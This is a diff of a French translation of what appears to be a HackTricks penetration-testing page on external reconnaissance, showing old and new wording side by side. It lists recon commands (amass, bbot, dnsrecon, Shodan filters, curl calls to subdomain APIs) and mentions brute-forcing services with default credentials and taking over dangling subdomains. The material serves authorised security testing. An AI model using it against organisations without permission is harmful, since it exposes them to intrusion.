3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisation, domaines...) liées à la première (cela peut être fait de manière récursive).
|
||||||
4. Utiliser d'autres techniques comme les filtres `org` et `ssl` de shodan pour rechercher d'autres actifs (l'astuce `ssl` peut être faite de manière récursive).
|
4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive).
|
||||||
|
|
||||||
### **Acquisitions**
|
### **Acquisitions**
|
||||||
|
|
||||||
Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées par l'entreprise principale**.\
|
Tout d'abord, nous devons savoir quelles **autres entreprises sont détenues par l'entreprise principale**.\
|
||||||
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Là, vous verrez d'autres entreprises acquises par la principale.\
|
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\
|
||||||
Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et de rechercher les **acquisitions**.
|
Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**.
|
||||||
|
|
||||||
> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs.
|
> À ce stade, vous devriez connaître toutes les entreprises incluses dans le périmètre. Voyons comment trouver leurs actifs.
|
||||||
|
|
||||||
### **ASNs**
|
### **ASNs**
|
||||||
|
|
||||||
Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\
|
Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\
|
||||||
Un **AS** consiste en des **blocs** d'**adresses IP** qui ont une politique clairement définie pour l'accès aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
|
Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'accès aux réseaux externes clairement définie et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
|
||||||
|
|
||||||
Il est intéressant de savoir si l'**entreprise a un ASN attribué** pour trouver ses **plages d'IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** à l'intérieur du **périmètre** et **rechercher des domaines** à l'intérieur de ces IPs.\
|
Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces adresses IP.\
|
||||||
Vous pouvez **rechercher** par **nom d'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
Vous pouvez **rechercher** par **nom d'entreprise**, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||||
**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). De toute façon, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien.
|
**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien.
|
||||||
```bash
|
```bash
|
||||||
#You can try "automate" this with amass, but it's not very recommended
|
#You can try "automate" this with amass, but it's not very recommended
|
||||||
amass intel -org tesla
|
amass intel -org tesla
|
||||||
amass intel -asn 8911,50313,394161
|
amass intel -asn 8911,50313,394161
|
||||||
```
|
```
|
||||||
Aussi, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** l'énumération des sous-domaines agrège et résume automatiquement les ASNs à la fin du scan.
|
De plus, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrège automatiquement et résume les ASN à la fin de l'analyse.
|
||||||
```bash
|
```bash
|
||||||
bbot -t tesla.com -f subdomain-enum
|
bbot -t tesla.com -f subdomain-enum
|
||||||
...
|
...
|
||||||
|
@ -68,59 +68,59 @@ bbot -t tesla.com -f subdomain-enum
|
||||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||||
|
|
||||||
```
|
```
|
||||||
Vous pouvez également trouver les plages d'IP d'une organisation en utilisant [http://asnlookup.com/](http://asnlookup.com) (il dispose d'une API gratuite).
|
Vous pouvez trouver les plages d'adresses IP d'une organisation en utilisant également [http://asnlookup.com/](http://asnlookup.com) (il dispose d'une API gratuite).\
|
||||||
Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com).
|
Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com/](http://ipv4info.com).
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous êtes autorisé, vous pourriez lancer certains **scanners de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment réaliser des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\
|
De plus, vous pourriez lancer des [**analyses de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\
|
||||||
**Il pourrait également être utile de mentionner que vous pouvez également préparer des listes de** noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer brutalement les services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur par défaut **et de** mots de passe **et essayer de** forcer l'accès aux services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||||
|
|
||||||
## Domaines
|
## Domaines
|
||||||
|
|
||||||
> Nous connaissons toutes les entreprises dans le périmètre et leurs actifs, il est temps de trouver les domaines dans le périmètre.
|
> Nous connaissons toutes les entreprises dans le périmètre et leurs actifs, il est temps de trouver les domaines dans le périmètre.
|
||||||
|
|
||||||
_Veuillez noter que dans les techniques proposées suivantes, vous pouvez également trouver des sous-domaines et que cette information ne doit pas être sous-estimée._
|
_Veuillez noter que dans les techniques proposées suivantes, vous pouvez également trouver des sous-domaines et ces informations ne doivent pas être sous-estimées._
|
||||||
|
|
||||||
Tout d'abord, vous devriez rechercher le(s) **domaine principal**(aux) de chaque entreprise. Par exemple, pour _Tesla Inc._, ce sera _tesla.com_.
|
Tout d'abord, vous devriez rechercher le(s) **domaine(s) principal(aux)** de chaque entreprise. Par exemple, pour _Tesla Inc._ ce sera _tesla.com_.
|
||||||
|
|
||||||
### **DNS inversé**
|
### **DNS inversé**
|
||||||
|
|
||||||
Comme vous avez trouvé toutes les plages d'IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver plus de domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8)
|
Une fois que vous avez trouvé toutes les plages d'adresses IP des domaines, vous pourriez essayer d'effectuer des **recherches DNS inversées** sur ces **IP pour trouver d'autres domaines dans le périmètre**. Essayez d'utiliser un serveur DNS de la victime ou un serveur DNS bien connu (1.1.1.1, 8.8.8.8)
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||||
```
|
```
|
||||||
Pour que cela fonctionne, l'administrateur doit activer manuellement le PTR.
|
Pour que cela fonctionne, l'administrateur doit activer manuellement le PTR.\
|
||||||
Vous pouvez également utiliser un outil en ligne pour cette information : [http://ptrarchive.com/](http://ptrarchive.com)
|
Vous pouvez également utiliser un outil en ligne pour ces informations : [http://ptrarchive.com/](http://ptrarchive.com)
|
||||||
|
|
||||||
### **Reverse Whois (boucle)**
|
### **Reverse Whois (boucle)**
|
||||||
|
|
||||||
Dans un **whois**, vous pouvez trouver beaucoup d'**informations** intéressantes comme le **nom de l'organisation**, **l'adresse**, **les emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **davantage d'actifs liés à l'entreprise** si vous effectuez des **recherches inversées de whois par l'un de ces champs** (par exemple, d'autres registres de whois où le même email apparaît).
|
À l'intérieur d'un **whois**, vous pouvez trouver beaucoup d'**informations intéressantes** telles que le **nom de l'organisation**, l'**adresse**, les **emails**, les numéros de téléphone... Mais ce qui est encore plus intéressant, c'est que vous pouvez trouver **d'autres actifs liés à l'entreprise** si vous effectuez des **recherches de reverse whois par l'un de ces champs** (par exemple, d'autres registres whois où le même email apparaît).\
|
||||||
Vous pouvez utiliser des outils en ligne tels que :
|
Vous pouvez utiliser des outils en ligne comme :
|
||||||
|
|
||||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuit**
|
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuit**
|
||||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuit**
|
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuit**
|
||||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuit**
|
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuit**
|
||||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuit** sur le web, pas gratuit pour l'API.
|
* [https://www.whoxy.com/](https://www.whoxy.com) - Web **gratuit**, API non gratuite.
|
||||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Payant
|
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Non gratuit
|
||||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Payant (seulement **100 recherches gratuites**)
|
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**)
|
||||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Payant
|
* [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit
|
||||||
|
|
||||||
Vous pouvez automatiser cette tâche en utilisant [**DomLink**](https://github.com/vysecurity/DomLink) (nécessite une clé API whoxy).
|
Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\
|
||||||
Vous pouvez également effectuer une découverte automatique de whois inversé avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois`
|
Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois`
|
||||||
|
|
||||||
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.**
|
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.**
|
||||||
|
|
||||||
### **Trackers**
|
### **Trackers**
|
||||||
|
|
||||||
Si vous trouvez **le même ID du même tracker** sur 2 pages différentes, vous pouvez supposer que **les deux pages** sont **gérées par la même équipe**.
|
Si vous trouvez le **même ID du même tracker** sur 2 pages différentes, vous pouvez supposer que **les deux pages** sont **gérées par la même équipe**.\
|
||||||
Par exemple, si vous voyez le même **ID Google Analytics** ou le même **ID Adsense** sur plusieurs pages.
|
Par exemple, si vous voyez le même **ID Google Analytics** ou le même **ID Adsense** sur plusieurs pages.
|
||||||
|
|
||||||
Il existe des pages et des outils qui vous permettent de rechercher par ces trackers et plus encore :
|
Il existe des pages et des outils qui vous permettent de rechercher ces trackers et plus encore :
|
||||||
|
|
||||||
* [**Udon**](https://github.com/dhn/udon)
|
* [**Udon**](https://github.com/dhn/udon)
|
||||||
* [**BuiltWith**](https://builtwith.com)
|
* [**BuiltWith**](https://builtwith.com)
|
||||||
|
@ -130,18 +130,16 @@ Il existe des pages et des outils qui vous permettent de rechercher par ces trac
|
||||||
|
|
||||||
### **Favicon**
|
### **Favicon**
|
||||||
|
|
||||||
Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que fait l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2). Voici comment l'utiliser :
|
Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser :
|
||||||
```bash
|
```bash
|
||||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
```
|
```
|
||||||
```markdown
|
![favihash - découvrir les domaines avec le même hachage d'icône favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||||
![favihash - découvrir des domaines avec le même hash d'icône favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
|
||||||
|
|
||||||
En termes simples, favihash nous permettra de découvrir des domaines qui ont le même hash d'icône favicon que notre cible.
|
En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible.
|
||||||
|
|
||||||
De plus, vous pouvez également rechercher des technologies en utilisant le hash de favicon comme expliqué dans [**ce billet de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hash du favicon d'une version vulnérable d'une technologie web** vous pouvez rechercher dans shodan et **trouver plus d'endroits vulnérables** :
|
De plus, vous pouvez également rechercher des technologies en utilisant le hachage de l'icône favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si dans shodan et **trouver plus d'endroits vulnérables**:
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||||
```
|
```
|
||||||
|
@ -158,9 +156,9 @@ fhash = mmh3.hash(favicon)
|
||||||
print(f"{url} : {fhash}")
|
print(f"{url} : {fhash}")
|
||||||
return fhash
|
return fhash
|
||||||
```
|
```
|
||||||
### **Droit d'auteur / Chaîne unique**
|
### **Droits d'auteur / Chaîne unique**
|
||||||
|
|
||||||
Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites au sein de la même organisation**. La **chaîne de droit d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **Google**, dans d'autres **navigateurs** ou même dans **Shodan** : `shodan search http.html:"Copyright string"`
|
Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même dans **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"`
|
||||||
|
|
||||||
### **Heure CRT**
|
### **Heure CRT**
|
||||||
|
|
||||||
|
@ -171,33 +169,33 @@ Il est courant d'avoir une tâche cron telle que
|
||||||
```
|
```
|
||||||
### **Prise de contrôle passive**
|
### **Prise de contrôle passive**
|
||||||
|
|
||||||
Il semble courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et finissent par **perdre cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, en lançant simplement une **VM** dans un cloud (comme Digital Ocean), vous allez en fait **prendre le contrôle de certains sous-domaines**.
|
Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**.
|
||||||
|
|
||||||
[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **lance une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers celle-ci.
|
[**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **démarre une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle.
|
||||||
|
|
||||||
### **Autres méthodes**
|
### **Autres méthodes**
|
||||||
|
|
||||||
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaines chaque fois que vous trouvez un nouveau domaine.**
|
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.**
|
||||||
|
|
||||||
**Shodan**
|
**Shodan**
|
||||||
|
|
||||||
Comme vous connaissez déjà le nom de l'organisation possédant l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
|
Comme vous connaissez déjà le nom de l'organisation possédant l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
|
||||||
|
|
||||||
Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'Organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||||
|
|
||||||
**Assetfinder**
|
**Assetfinder**
|
||||||
|
|
||||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines liés** à un domaine principal et leurs **sous-domaines**, assez incroyable.
|
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines associés** à un domaine principal et leurs **sous-domaines**, assez incroyable.
|
||||||
|
|
||||||
### **Recherche de vulnérabilités**
|
### **Recherche de vulnérabilités**
|
||||||
|
|
||||||
Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais a **perdu la propriété**. Enregistrez-le (si le prix est assez bas) et informez l'entreprise.
|
Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise.
|
||||||
|
|
||||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte des actifs, vous devriez effectuer un **scan de vulnérabilité basique** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre des astuces pour "attaquer" ces services**.\
|
Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||||
_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Conseil pour les chasses aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de chasse aux bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
**Astuce de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -209,13 +207,13 @@ Il est temps de trouver tous les sous-domaines possibles de chaque domaine trouv
|
||||||
|
|
||||||
### **DNS**
|
### **DNS**
|
||||||
|
|
||||||
Essayons d'obtenir des **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer le **Transfert de Zone** (Si vulnérable, vous devriez le signaler).
|
Essayons d'obtenir les **sous-domaines** à partir des enregistrements **DNS**. Nous devrions également essayer la **transfert de zone** (Si vulnérable, vous devriez le signaler).
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -a -d tesla.com
|
dnsrecon -a -d tesla.com
|
||||||
```
|
```
|
||||||
### **OSINT**
|
### **OSINT**
|
||||||
|
|
||||||
La méthode la plus rapide pour obtenir de nombreux sous-domaines consiste à chercher dans des sources externes. Les **outils** les plus utilisés sont les suivants (pour de meilleurs résultats, configurez les clés API) :
|
Le moyen le plus rapide d'obtenir de nombreux sous-domaines est de rechercher dans des sources externes. Les **outils** les plus utilisés sont les suivants (pour de meilleurs résultats, configurez les clés API) :
|
||||||
|
|
||||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||||
```bash
|
```bash
|
||||||
|
@ -264,7 +262,7 @@ vita -d tesla.com
|
||||||
```bash
|
```bash
|
||||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||||
```
|
```
|
||||||
Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, peuvent être utiles pour trouver des sous-domaines, comme :
|
Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, tels que :
|
||||||
|
|
||||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)** :** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines
|
* [**Crobat**](https://github.com/cgboal/sonarsearch)** :** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines
|
||||||
```bash
|
```bash
|
||||||
|
@ -272,11 +270,11 @@ Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas dir
|
||||||
## This is the API the crobat tool will use
|
## This is the API the crobat tool will use
|
||||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||||
```
|
```
|
||||||
* [**API gratuite JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
* [**API gratuit JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||||
```bash
|
```bash
|
||||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||||
```
|
```
|
||||||
* [**RapidDNS**](https://rapiddns.io) API gratuite
|
* [**RapidDNS**](https://rapiddns.io) API gratuit
|
||||||
```bash
|
```bash
|
||||||
# Get Domains from rapiddns free API
|
# Get Domains from rapiddns free API
|
||||||
rapiddns(){
|
rapiddns(){
|
||||||
|
@ -296,12 +294,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||||
}
|
}
|
||||||
crt tesla.com
|
crt tesla.com
|
||||||
```
|
```
|
||||||
* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues depuis l'Open Threat Exchange d'AlienVault, la Wayback Machine et Common Crawl pour tout domaine donné.
|
* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Machine à remonter le temps et de Common Crawl pour un domaine donné.
|
||||||
```bash
|
```bash
|
||||||
# Get subdomains from GAUs found URLs
|
# Get subdomains from GAUs found URLs
|
||||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||||
```
|
```
|
||||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper) : Ils parcourent le web à la recherche de fichiers JS et extraient les sous-domaines de là.
|
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Ils parcourent le web à la recherche de fichiers JS et extraient les sous-domaines à partir de là.
|
||||||
```bash
|
```bash
|
||||||
# Get only subdomains from SubDomainizer
|
# Get only subdomains from SubDomainizer
|
||||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||||
|
@ -326,18 +324,18 @@ python3 censys-subdomain-finder.py tesla.com
|
||||||
```bash
|
```bash
|
||||||
python3 DomainTrail.py -d example.com
|
python3 DomainTrail.py -d example.com
|
||||||
```
|
```
|
||||||
* [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des IP
|
* [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des adresses IP
|
||||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||||
|
|
||||||
Ce projet offre **gratuitement tous les sous-domaines liés aux programmes de bug-bounty**. Vous pouvez également accéder à ces données en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
